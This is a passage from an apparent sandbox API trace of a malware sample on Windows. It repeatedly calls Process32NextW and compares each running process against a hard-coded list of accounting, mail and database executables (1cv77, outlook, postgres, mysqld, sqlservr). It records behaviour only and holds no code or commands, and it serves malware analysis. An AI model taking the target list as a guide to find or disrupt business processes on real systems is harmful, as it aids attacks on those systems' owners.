hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0058.886] lstrlenW (lpString="smartftp.exe") returned 12 [0058.886] lstrcmpiW (lpString1="1c8.exe", lpString2="smartftp.exe") returned -1 [0058.886] lstrcmpiW (lpString1="1cv77.exe", lpString2="smartftp.exe") returned -1 [0058.886] lstrcmpiW (lpString1="outlook.exe", lpString2="smartftp.exe") returned -1 [0058.886] lstrcmpiW (lpString1="postgres.exe", lpString2="smartftp.exe") returned -1 [0058.886] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smartftp.exe") returned -1 [0058.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="smartftp.exe") returned -1 [0058.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smartftp.exe") returned 1 [0058.886] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0058.887] lstrlenW (lpString="thunderbird.exe") returned 15 [0058.887] lstrcmpiW (lpString1="1c8.exe", lpString2="thunderbird.exe") returned -1 [0058.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="thunderbird.exe") returned -1 [0058.887] lstrcmpiW (lpString1="outlook.exe", lpString2="thunderbird.exe") returned -1 [0058.887] lstrcmpiW (lpString1="postgres.exe", lpString2="thunderbird.exe") returned -1 [0058.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="thunderbird.exe") returned -1 [0058.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="thunderbird.exe") returned -1 [0058.887] lstrcmpiW (lpString1="sqlservr.exe", lpString2="thunderbird.exe") returned -1 [0058.887] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0058.888] lstrlenW (lpString="totalcmd.exe") returned 12 [0058.888] lstrcmpiW (lpString1="1c8.exe", lpString2="totalcmd.exe") returned -1 [0058.888] lstrcmpiW (lpString1="1cv77.exe", lpString2="totalcmd.exe") returned -1 [0058.888] lstrcmpiW (lpString1="outlook.exe", lpString2="totalcmd.exe") returned -1 [0058.888] lstrcmpiW (lpString1="postgres.exe", lpString2="totalcmd.exe") returned -1 [0058.888] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="totalcmd.exe") returned -1 [0058.888] lstrcmpiW (lpString1="mysqld.exe", lpString2="totalcmd.exe") returned -1 [0058.888] lstrcmpiW (lpString1="sqlservr.exe", lpString2="totalcmd.exe") returned -1 [0058.888] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0058.889] lstrlenW (lpString="trillian.exe") returned 12 [0058.889] lstrcmpiW (lpString1="1c8.exe", lpString2="trillian.exe") returned -1 [0058.889] lstrcmpiW (lpString1="1cv77.exe", lpString2="trillian.exe") returned -1 [0058.889] lstrcmpiW (lpString1="outlook.exe", lpString2="trillian.exe") returned -1 [0058.889] lstrcmpiW (lpString1="postgres.exe", lpString2="trillian.exe") returned -1 [0058.889] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="trillian.exe") returned -1 [0058.889] lstrcmpiW (lpString1="mysqld.exe", lpString2="trillian.exe") returned -1 [0058.889] lstrcmpiW (lpString1="sqlservr.exe", lpString2="trillian.exe") returned -1 [0058.889] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0058.890] lstrlenW (lpString="webdrive.exe") returned 12 [0058.890] lstrcmpiW (lpString1="1c8.exe", lpString2="webdrive.exe") returned -1 [0058.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="webdrive.exe") returned -1 [0058.890] lstrcmpiW (lpString1="outlook.exe", lpString2="webdrive.exe") returned -1 [0058.890] lstrcmpiW (lpString1="postgres.exe", lpString2="webdrive.exe") returned -1 [0058.890] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="webdrive.exe") returned -1 [0058.890] lstrcmpiW (lpString1="mysqld.exe", lpString2="webdrive.exe") returned -1 [0058.890] lstrcmpiW (lpString1="sqlservr.exe", lpString2="webdrive.exe") returned -1 [0058.890] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0058.891] lstrlenW (lpString="whatsapp.exe") returned 12 [0058.891] lstrcmpiW (lpString1="1c8.exe", lpString2="whatsapp.exe") returned -1 [0058.891] lstrcmpiW (lpString1="1cv77.exe", lpString2="whatsapp.exe") returned -1 [0058.891] lstrcmpiW (lpString1="outlook.exe", lpString2="whatsapp.exe") returned -1 [0058.891] lstrcmpiW (lpString1="postgres.exe", lpString2="whatsapp.exe") returned -1 [0058.891] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="whatsapp.exe") returned -1 [0058.891] lstrcmpiW (lpString1="mysqld.exe", lpString2="whatsapp.exe") returned -1 [0058.891] lstrcmpiW (lpString1="sqlservr.exe", lpString2="whatsapp.exe") returned -1 [0058.891] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0058.892] lstrlenW (lpString="winscp.exe") returned 10 [0058.892] lstrcmpiW (lpString1="1c8.exe", lpString2="winscp.exe") returned -1 [0058.892] lstrcmpiW (lpString1="1cv77.exe", lpString2="winscp.exe") returned -1 [0058.892] lstrcmpiW (lpString1="outlook.exe", lpString2="winscp.exe") returned -1 [0058.892] lstrcmpiW (lpString1="postgres.exe", lpString2="winscp.exe") returned -1 [0058.892] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winscp.exe") returned -1 [0058.892] lstrcmpiW (lpString1="mysqld.exe", lpString2="winscp.exe") returned -1 [0058.892] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winscp.exe") returned -1 [0058.892] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0058.893] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0058.893] lstrcmpiW (lpString1="1c8.exe", lpString2="yahoomessenger.exe") returned -1 [0058.893] lstrcmpiW (lpString1="1cv77.exe", lpString2="yahoomessenger.exe") returned -1 [0058.893] lstrcmpiW (lpString1="outlook.exe", lpString2="yahoomessenger.exe") returned -1 [0058.893] lstrcmpiW (lpString1="postgres.exe", lpString2="yahoomessenger.exe") returned -1 [0058.893] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="yahoomessenger.exe") returned -1 [0058.893] lstrcmpiW (lpString1="mysqld.exe", lpString2="yahoomessenger.exe") returned -1 [0058.893] lstrcmpiW (lpString1="sqlservr.exe", lpString2="yahoomessenger.exe") returned -1 [0058.893] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0058.894] lstrlenW (lpString="active-charge.exe") returned 17 [0058.894] lstrcmpiW (lpString1="1c8.exe", lpString2="active-charge.exe") returned -1 [0058.894] lstrcmpiW (lpString1="1cv77.exe", lpString2="active-charge.exe") returned -1 [0058.894] lstrcmpiW (lpString1="outlook.exe", lpString2="active-charge.exe") returned 1 [0058.894] lstrcmpiW (lpString1="postgres.exe", lpString2="active-charge.exe") returned 1 [0058.894] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="active-charge.exe") returned 1 [0058.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="active-charge.exe") returned 1 [0058.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="active-charge.exe") returned 1 [0058.894] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0058.895] lstrlenW (lpString="accupos.exe") returned 11 [0058.895] lstrcmpiW (lpString1="1c8.exe", lpString2="accupos.exe") returned -1 [0058.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="accupos.exe") returned -1 [0058.895] lstrcmpiW (lpString1="outlook.exe", lpString2="accupos.exe") returned 1 [0058.895] lstrcmpiW (lpString1="postgres.exe", lpString2="accupos.exe") returned 1 [0058.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="accupos.exe") returned 1 [0058.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="accupos.exe") returned 1 [0058.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="accupos.exe") returned 1 [0058.895] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0058.896] lstrlenW (lpString="afr38.exe") returned 9 [0058.896] lstrcmpiW (lpString1="1c8.exe", lpString2="afr38.exe") returned -1 [0058.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="afr38.exe") returned -1 [0058.896] lstrcmpiW (lpString1="outlook.exe", lpString2="afr38.exe") returned 1 [0058.896] lstrcmpiW (lpString1="postgres.exe", lpString2="afr38.exe") returned 1 [0058.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="afr38.exe") returned 1 [0058.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="afr38.exe") returned 1 [0058.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="afr38.exe") returned 1 [0058.896] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0058.897] lstrlenW (lpString="aldelo.exe") returned 10 [0058.897] lstrcmpiW (lpString1="1c8.exe", lpString2="aldelo.exe") returned -1 [0058.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="aldelo.exe") returned -1 [0058.897] lstrcmpiW (lpString1="outlook.exe", lpString2="aldelo.exe") returned 1 [0058.897] lstrcmpiW (lpString1="postgres.exe", lpString2="aldelo.exe") returned 1 [0058.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="aldelo.exe") returned 1 [0058.897] lstrcmpiW (lpString1="mysqld.exe", lpString2="aldelo.exe") returned 1 [0058.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="aldelo.exe") returned 1 [0058.897] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0058.898] lstrlenW (lpString="ccv_server.exe") returned 14 [0058.898] lstrcmpiW (lpString1="1c8.exe", lpString2="ccv_server.exe") returned -1 [0058.898] lstrcmpiW (lpString1="1cv77.exe", lpString2="ccv_server.exe") returned -1 [0058.898] lstrcmpiW (lpString1="outlook.exe", lpString2="ccv_server.exe") returned 1 [0058.898] lstrcmpiW (lpString1="postgres.exe", lpString2="ccv_server.exe") returned 1 [0058.898] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ccv_server.exe") returned 1 [0058.898] lstrcmpiW (lpString1="mysqld.exe", lpString2="ccv_server.exe") returned 1 [0058.898] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ccv_server.exe") returned 1 [0058.898] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0058.899] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0058.899] lstrcmpiW (lpString1="1c8.exe", lpString2="centralcreditcard.exe") returned -1 [0058.899] lstrcmpiW (lpString1="1cv77.exe", lpString2="centralcreditcard.exe") returned -1 [0058.899] lstrcmpiW (lpString1="outlook.exe", lpString2="centralcreditcard.exe") returned 1 [0058.899] lstrcmpiW (lpString1="postgres.exe", lpString2="centralcreditcard.exe") returned 1 [0058.899] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="centralcreditcard.exe") returned 1 [0058.899] lstrcmpiW (lpString1="mysqld.exe", lpString2="centralcreditcard.exe") returned 1 [0058.899] lstrcmpiW (lpString1="sqlservr.exe", lpString2="centralcreditcard.exe") returned 1 [0058.899] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0058.900] lstrlenW (lpString="creditservice.exe") returned 17 [0058.900] lstrcmpiW (lpString1="1c8.exe", lpString2="creditservice.exe") returned -1 [0058.900] lstrcmpiW (lpString1="1cv77.exe", lpString2="creditservice.exe") returned -1 [0058.900] lstrcmpiW (lpString1="outlook.exe", lpString2="creditservice.exe") returned 1 [0058.900] lstrcmpiW (lpString1="postgres.exe", lpString2="creditservice.exe") returned 1 [0058.900] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="creditservice.exe") returned 1 [0058.900] lstrcmpiW (lpString1="mysqld.exe", lpString2="creditservice.exe") returned 1 [0058.900] lstrcmpiW (lpString1="sqlservr.exe", lpString2="creditservice.exe") returned 1 [0058.900] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0058.901] lstrlenW (lpString="edcsvr.exe") returned 10 [0058.901] lstrcmpiW (lpString1="1c8.exe", lpString2="edcsvr.exe") returned -1 [0058.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="edcsvr.exe") returned -1 [0058.901] lstrcmpiW (lpString1="outlook.exe", lpString2="edcsvr.exe") returned 1 [0058.902] lstrcmpiW (lpString1="postgres.exe", lpString2="edcsvr.exe") returned 1 [0058.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="edcsvr.exe") returned 1 [0058.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="edcsvr.exe") returned 1 [0058.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="edcsvr.exe") returned 1 [0058.902] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0058.902] lstrlenW (lpString="fpos.exe") returned 8 [0058.902] lstrcmpiW (lpString1="1c8.exe", lpString2="fpos.exe") returned -1 [0058.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="fpos.exe") returned -1 [0058.902] lstrcmpiW (lpString1="outlook.exe", lpString2="fpos.exe") returned 1 [0058.902] lstrcmpiW (lpString1="postgres.exe", lpString2="fpos.exe") returned 1 [0058.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fpos.exe") returned 1 [0058.903] lstrcmpiW (lpString1="mysqld.exe", lpString2="fpos.exe") returned 1 [0058.903] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fpos.exe") returned 1 [0058.903] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0058.903] lstrlenW (lpString="isspos.exe") returned 10 [0058.903] lstrcmpiW (lpString1="1c8.exe", lpString2="isspos.exe") returned -1 [0058.903] lstrcmpiW (lpString1="1cv77.exe", lpString2="isspos.exe") returned -1 [0058.903] lstrcmpiW (lpString1="outlook.exe", lpString2="isspos.exe") returned 1 [0058.903] lstrcmpiW (lpString1="postgres.exe", lpString2="isspos.exe") returned 1 [0058.903] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="isspos.exe") returned 1 [0058.903] lstrcmpiW (lpString1="mysqld.exe", lpString2="isspos.exe") returned 1 [0058.903] lstrcmpiW (lpString1="sqlservr.exe", lpString2="isspos.exe") returned 1 [0058.904] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0058.904] lstrlenW (lpString="mxslipstream.exe") returned 16 [0058.904] lstrcmpiW (lpString1="1c8.exe", lpString2="mxslipstream.exe") returned -1 [0058.904] lstrcmpiW (lpString1="1cv77.exe", lpString2="mxslipstream.exe") returned -1 [0058.904] lstrcmpiW (lpString1="outlook.exe", lpString2="mxslipstream.exe") returned 1 [0058.904] lstrcmpiW (lpString1="postgres.exe", lpString2="mxslipstream.exe") returned 1 [0058.904] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="mxslipstream.exe") returned 1 [0058.904] lstrcmpiW (lpString1="mysqld.exe", lpString2="mxslipstream.exe") returned 1 [0058.904] lstrcmpiW (lpString1="sqlservr.exe", lpString2="mxslipstream.exe") returned 1 [0058.904] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0058.905] lstrlenW (lpString="omnipos.exe") returned 11 [0058.905] lstrcmpiW (lpString1="1c8.exe", lpString2="omnipos.exe") returned -1 [0058.905] lstrcmpiW (lpString1="1cv77.exe", lpString2="omnipos.exe") returned -1 [0058.905] lstrcmpiW (lpString1="outlook.exe", lpString2="omnipos.exe") returned 1 [0058.905] lstrcmpiW (lpString1="postgres.exe", lpString2="omnipos.exe") returned 1 [0058.905] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="omnipos.exe") returned -1 [0058.905] lstrcmpiW (lpString1="mysqld.exe", lpString2="omnipos.exe") returned -1 [0058.905] lstrcmpiW (lpString1="sqlservr.exe", lpString2="omnipos.exe") returned 1 [0058.905] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0058.906] lstrlenW (lpString="spcwin.exe") returned 10 [0058.906] lstrcmpiW (lpString1="1c8.exe", lpString2="spcwin.exe") returned -1 [0058.906] lstrcmpiW (lpString1="1cv77.exe", lpString2="spcwin.exe") returned -1 [0058.906] lstrcmpiW (lpString1="outlook.exe", lpString2="spcwin.exe") returned -1 [0058.906] lstrcmpiW (lpString1="postgres.exe", lpString2="spcwin.exe") returned -1 [0058.906] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spcwin.exe") returned -1 [0058.906] lstrcmpiW (lpString1="mysqld.exe", lpString2="spcwin.exe") returned -1 [0058.906] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spcwin.exe") returned 1 [0058.906] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0058.907] lstrlenW (lpString="spgagentservice.exe") returned 19 [0058.907] lstrcmpiW (lpString1="1c8.exe", lpString2="spgagentservice.exe") returned -1 [0058.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="spgagentservice.exe") returned -1 [0058.907] lstrcmpiW (lpString1="outlook.exe", lpString2="spgagentservice.exe") returned -1 [0058.907] lstrcmpiW (lpString1="postgres.exe", lpString2="spgagentservice.exe") returned -1 [0058.907] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spgagentservice.exe") returned -1 [0058.907] lstrcmpiW (lpString1="mysqld.exe", lpString2="spgagentservice.exe") returned -1 [0058.907] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spgagentservice.exe") returned 1 [0058.907] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0058.908] lstrlenW (lpString="utg2.exe") returned 8 [0058.908] lstrcmpiW (lpString1="1c8.exe", lpString2="utg2.exe") returned -1 [0058.908] lstrcmpiW (lpString1="1cv77.exe", lpString2="utg2.exe") returned -1 [0058.908] lstrcmpiW (lpString1="outlook.exe", lpString2="utg2.exe") returned -1 [0058.908] lstrcmpiW (lpString1="postgres.exe", lpString2="utg2.exe") returned -1 [0058.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="utg2.exe") returned -1 [0058.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="utg2.exe") returned -1 [0058.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="utg2.exe") returned -1 [0058.908] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0058.909] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0058.909] lstrcmpiW (lpString1="1c8.exe", lpString2="hygiene_ppm.exe") returned -1 [0058.909] lstrcmpiW (lpString1="1cv77.exe", lpString2="hygiene_ppm.exe") returned -1 [0058.909] lstrcmpiW (lpString1="outlook.exe", lpString2="hygiene_ppm.exe") returned 1 [0058.909] lstrcmpiW (lpString1="postgres.exe", lpString2="hygiene_ppm.exe") returned 1 [0058.909] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="hygiene_ppm.exe") returned 1 [0058.909] lstrcmpiW (lpString1="mysqld.exe", lpString2="hygiene_ppm.exe") returned 1 [0058.909] lstrcmpiW (lpString1="sqlservr.exe", lpString2="hygiene_ppm.exe") returned 1 [0058.909] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0058.910] lstrlenW (lpString="glow be.exe") returned 11 [0058.910] lstrcmpiW (lpString1="1c8.exe", lpString2="glow be.exe") returned -1 [0058.910] lstrcmpiW (lpString1="1cv77.exe", lpString2="glow be.exe") returned -1 [0058.910] lstrcmpiW (lpString1="outlook.exe", lpString2="glow be.exe") returned 1 [0058.910] lstrcmpiW (lpString1="postgres.exe", lpString2="glow be.exe") returned 1 [0058.910] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="glow be.exe") returned 1 [0058.910] lstrcmpiW (lpString1="mysqld.exe", lpString2="glow be.exe") returned 1 [0058.910] lstrcmpiW (lpString1="sqlservr.exe", lpString2="glow be.exe") returned 1 [0058.910] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0058.911] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0058.911] lstrcmpiW (lpString1="1c8.exe", lpString2="prospects_pixel_academics.exe") returned -1 [0058.911] lstrcmpiW (lpString1="1cv77.exe", lpString2="prospects_pixel_academics.exe") returned -1 [0058.911] lstrcmpiW (lpString1="outlook.exe", lpString2="prospects_pixel_academics.exe") returned -1 [0058.911] lstrcmpiW (lpString1="postgres.exe", lpString2="prospects_pixel_academics.exe") returned -1 [0058.911] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="prospects_pixel_academics.exe") returned -1 [0058.911] lstrcmpiW (lpString1="mysqld.exe", lpString2="prospects_pixel_academics.exe") returned -1 [0058.911] lstrcmpiW (lpString1="sqlservr.exe", lpString2="prospects_pixel_academics.exe") returned 1 [0058.911] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0058.911] lstrlenW (lpString="contains roles was.exe") returned 22 [0058.911] lstrcmpiW (lpString1="1c8.exe", lpString2="contains roles was.exe") returned -1 [0058.912] lstrcmpiW (lpString1="1cv77.exe", lpString2="contains roles was.exe") returned -1 [0058.912] lstrcmpiW (lpString1="outlook.exe", lpString2="contains roles was.exe") returned 1 [0058.912] lstrcmpiW (lpString1="postgres.exe", lpString2="contains roles was.exe") returned 1 [0058.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="contains roles was.exe") returned 1 [0058.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="contains roles was.exe") returned 1 [0058.912] lstrcmpiW (lpString1="sqlservr.exe", lpString2="contains roles was.exe") returned 1 [0058.912] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.912] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.912] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0058.912] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0058.912] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0058.912] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0058.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0058.913] lstrcmpiW 